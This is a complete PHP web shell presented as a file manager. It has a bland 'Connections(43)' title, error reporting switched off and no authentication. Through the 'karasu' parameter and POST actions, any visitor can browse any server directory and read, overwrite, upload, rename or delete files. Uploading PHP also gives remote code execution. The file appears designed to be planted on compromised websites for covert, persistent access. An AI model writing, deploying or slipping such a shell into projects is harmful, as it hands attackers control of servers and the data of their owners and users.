<?php
error_reporting(0);
$initialDir = getcwd();
if (isset($_GET['karasu'])) {
    $real = realpath($_GET['karasu']);
    if ($real && is_dir($real)) {
        $initialDir = $real;
    }
}
if (isset($_POST['action'])) {
    header('Content-Type: application/json');
    $currentDir = realpath($_POST['dir']);
    if (!$currentDir || !is_dir($currentDir)) {
        echo json_encode(["status" => "error", "message" => "Invalid directory"]);
        exit;
    }
    $response = ["status" => "success", "message" => ""];
    switch ($_POST['action']) {
        case 'list':
            $files = scandir($currentDir);
            $folders = [];
            $normalFiles = [];
            foreach ($files as $file) {
                if ($file == '.' || $file == '..') {
                    continue;
                }
                $path = $currentDir . DIRECTORY_SEPARATOR . $file;
                $item = ["name" => $file, "is_dir" => is_dir($path), "size" => is_file($path) ? filesize($path) : "-", "modified" => date("Y-m-d H:i:s", filemtime($path))];
                if (is_dir($path)) {
                    $folders[] = $item;
                } else {
                    $normalFiles[] = $item;
                }
            }
            $response["files"] = array_merge($folders, $normalFiles);
            $response["dir"] = $currentDir;
            break;
        case 'upload':
            if (isset($_FILES['file'])) {
                $target = $currentDir . DIRECTORY_SEPARATOR . $_FILES['file']['name'];
                if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                    $response["message"] = "Upload success";
                } else {
                    $response["status"] = "error";
                    $response["message"] = "Upload failed";
                }
            }
            break;
        case 'delete':
            $target = $currentDir . DIRECTORY_SEPARATOR . $_POST['name'];
            $result = is_dir($target) ? rmdir($target) : unlink($target);
            $response["message"] = $result ? "Delete success" : "Delete failed";
            if (!$result) {
                $response["status"] = "error";
            }
            break;
        case 'rename':
            $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['old'];
            $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['new'];
            $result = rename($old, $new);
            $response["message"] = $result ? "Rename success" : "Rename failed";
            if (!$result) {
                $response["status"] = "error";
            }
            break;
        case 'getFile':
            $file = $currentDir . DIRECTORY_SEPARATOR . $_POST['name'];
            if (is_file($file)) {
                $response["content"] = file_get_contents($file);
            } else {
                $response["status"] = "error";
                $response["message"] = "File not found";
            }
            break;
        case 'saveFile':
            $file = $currentDir . DIRECTORY_SEPARATOR . $_POST['name'];
            $result = file_put_contents($file, $_POST['content']);
            $response["message"] = $result !== false ? "File saved" : "Save failed";
            if ($result === false) {
                $response["status"] = "error";
            }
            break;
    }
    echo json_encode($response);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Connections(43)</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body{margin:0;font-family:Segoe UI;background:#f4f6f9;}
.container{max-width:1100px;margin:auto;padding:20px;}
.card{background:white;padding:20px;border-radius:12px;box-shadow:0 5px 15px rgba(0,0,0,0.08);margin-bottom:20px;}
.btn{padding:6px 12px;border:none;border-radius:8px;cursor:pointer;font-size:13px;}
.btn-primary{background:#4f46e5;color:white;}
.btn-danger{background:#ef4444;color:white;}
.btn-success{background:#10b981;color:white;}
.btn-warning{background:#f59e0b;color:white;}
.btn-secondary{background:#6b7280;color:white;}
table{width:100%;border-collapse:collapse;}
th,td{padding:10px;text-align:left;}
th{background:#f1f5f9;}
tr:nth-child(even){background:#f9fafb;}
.actions{display:flex;gap:6px;flex-wrap:wrap;}
textarea{width:100%;height:300px;border-radius:8px;border:1px solid #ccc;padding:10px;}
.folder-name{cursor:pointer;color:#2563eb;}
.folder-name:hover{text-decoration:underline;}
</style>
</head>
<body>

<div class="container">

<div class="card">
<h2>🕷️</h2>
<div id="currentPath"></div><br>
<button class="btn btn-primary" onclick="goUp()">⬅️ Up</button>
</div>

<div class="card">
<h3>Upload</h3>
<input type="file" id="uploadFile">
<button class="btn btn-success" onclick="upload()">Upload</button>
</div>

<div class="card">
<h3>Directory Contents</h3>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="fileTable"></tbody>
</table>
</div>

<div class="card" id="editorCard" style="display:none;">
<div style="display:flex;justify-content:space-between;">
<strong id="editorTitle"></strong>
<button class="btn btn-secondary" onclick="closeEditor()">✖ Close</button>
</div>
<textarea id="editor"></textarea><br><br>
<button class="btn btn-success" onclick="saveFile()">Save</button>
</div>

</div>

<script>
let currentDir = <?php 
echo json_encode($initialDir);
?>;
let editingFile = "";

function resetUpload(){ document.getElementById("uploadFile").value=""; }
function resetUI(){ closeEditor(); resetUpload(); }

function showMessage(res){
alert((res.status==="success"?"✅ ":"❌ ")+res.message);
}

function closeEditor(){
editingFile="";
document.getElementById("editorCard").style.display="none";
document.getElementById("editor").value="";
}

function loadDir(dir){
resetUI();
currentDir=dir;

let formData=new FormData();
formData.append("action","list");
formData.append("dir",dir);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(data=>{
document.getElementById("currentPath").innerText=data.dir;

let html="";
data.files.forEach(file=>{
html+=`
<tr>
<td>
${file.is_dir 
? `<span class="folder-name" onclick="changeDir('${file.name}')">📁 ${file.name}</span>`
: `📄 ${file.name}`}
</td>
<td>${file.size}</td>
<td>${file.modified}</td>
<td>
<div class="actions">
${file.is_dir 
? `<button class="btn btn-secondary" onclick="openNewTab('${file.name}')">Open Tab</button>`
: `<button class="btn btn-primary" onclick="editFile('${file.name}')">Edit</button>`
}
<button class="btn btn-warning" onclick="renameFile('${file.name}')">Rename</button>
<button class="btn btn-danger" onclick="deleteFile('${file.name}')">Delete</button>
</div>
</td>
</tr>`;
});
document.getElementById("fileTable").innerHTML=html;
});
}

function changeDir(name){
loadDir(currentDir + "/" + name);
}

function goUp(){
loadDir(currentDir + "/../");
}

function openNewTab(folderName){
let fullPath = currentDir + "/" + folderName;
let url = window.location.pathname + "?karasu=" + encodeURIComponent(fullPath);
window.open(url, "_blank");
}

function upload(){
let file=document.getElementById("uploadFile").files[0];
if(!file) return alert("Select file");

let formData=new FormData();
formData.append("action","upload");
formData.append("dir",currentDir);
formData.append("file",file);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(res=>{
showMessage(res);
resetUpload();
loadDir(currentDir);
});
}

function deleteFile(name){
resetUI();
if(!confirm("Delete this?")) return;

let formData=new FormData();
formData.append("action","delete");
formData.append("dir",currentDir);
formData.append("name",name);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(res=>{
showMessage(res);
loadDir(currentDir);
});
}

function renameFile(name){
resetUI();
let newName=prompt("New name:",name);
if(!newName) return;

let formData=new FormData();
formData.append("action","rename");
formData.append("dir",currentDir);
formData.append("old",name);
formData.append("new",newName);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(res=>{
showMessage(res);
loadDir(currentDir);
});
}

function editFile(name){
resetUpload();
editingFile=name;

let formData=new FormData();
formData.append("action","getFile");
formData.append("dir",currentDir);
formData.append("name",name);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(res=>{
if(res.status==="error"){ showMessage(res); return; }
document.getElementById("editorTitle").innerText="Editing: "+name;
document.getElementById("editor").value=res.content;
document.getElementById("editorCard").style.display="block";
});
}

function saveFile(){
let formData=new FormData();
formData.append("action","saveFile");
formData.append("dir",currentDir);
formData.append("name",editingFile);
formData.append("content",document.getElementById("editor").value);

fetch("",{method:"POST",body:formData})
.then(res=>res.json())
.then(res=>showMessage(res));
}

loadDir(currentDir);
</script>

</body>
</html><?php 